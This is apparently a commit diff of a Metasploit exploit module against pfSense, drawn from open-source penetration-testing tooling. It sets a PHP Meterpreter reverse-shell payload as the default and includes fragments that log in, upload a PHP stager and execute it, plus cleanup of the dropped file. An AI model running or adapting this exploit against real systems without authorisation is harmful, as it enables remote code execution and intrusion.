@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
Rank = ExcellentRanking
8
8
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
+ include Msf ::Exploit ::FileDropper
10
11
11
12
def initialize ( info = { } )
12
13
super (
@@ -33,18 +34,27 @@ def initialize(info = {})
33
34
[ 'URL' , 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf' ]
34
35
] ,
35
36
'License' => MSF_LICENSE ,
36
- 'Privileged' => true ,
37
+ 'Platform' => 'php' ,
38
+ 'Privileged' => 'true' ,
37
39
'DefaultOptions' =>
38
40
{
39
- 'SSL' => true ,
40
- 'Encoder' => 'php/base64 ' ,
41
- 'PAYLOAD' => 'php/meterpreter/reverse_tcp' ,
41
+ 'SSL' => true ,
42
+ 'PAYLOAD' => 'php/meterpreter/reverse_tcp ' ,
43
+ 'Encoder' => 'php/base64'
42
44
} ,
43
- 'DisclosureDate' => 'Apr 18, 2016' ,
44
- 'Platform' => 'php' ,
45
- 'Arch' => ARCH_PHP ,
46
- 'Targets' => [ [ 'Automatic Target' , { } ] ] ,
45
+ 'Arch' => [ ARCH_PHP ] ,
46
+ 'Payload' =>
47
+ {
48
+ 'Space' => 6000 ,
49
+ 'Compat' =>
50
+ {
51
+ 'Arch' => 'php' ,
52
+ 'ConnectionType' => '-bind' ,
53
+ }
54
+ } ,
55
+ 'Targets' => [ [ 'Automatic Target' , { } ] ] ,
47
56
'DefaultTarget' => 0 ,
57
+ 'DisclosureDate' => 'Apr 18, 2016' ,
48
58
)
49
59
)
50
60
@@ -115,7 +125,7 @@ def exploit
115
125
begin
116
126
cookie = login
117
127
version = detect_version ( cookie )
118
- filename = rand_text_alpha ( rand ( 10 ) )
128
+ filename = rand_text_alpha ( rand ( 1 .. 10 ) )
119
129
120
130
# generate the PHP meterpreter payload
121
131
stager = 'echo \'<?php '
@@ -144,6 +154,7 @@ def exploit
144
154
145
155
if res && res . code == 200
146
156
print_status ( 'Payload uploaded successfully, executing' )
157
+ register_file_for_cleanup ( filename )
147
158
else
148
159
print_error ( 'Failed to upload payload...' )
149
160
end
0 commit comments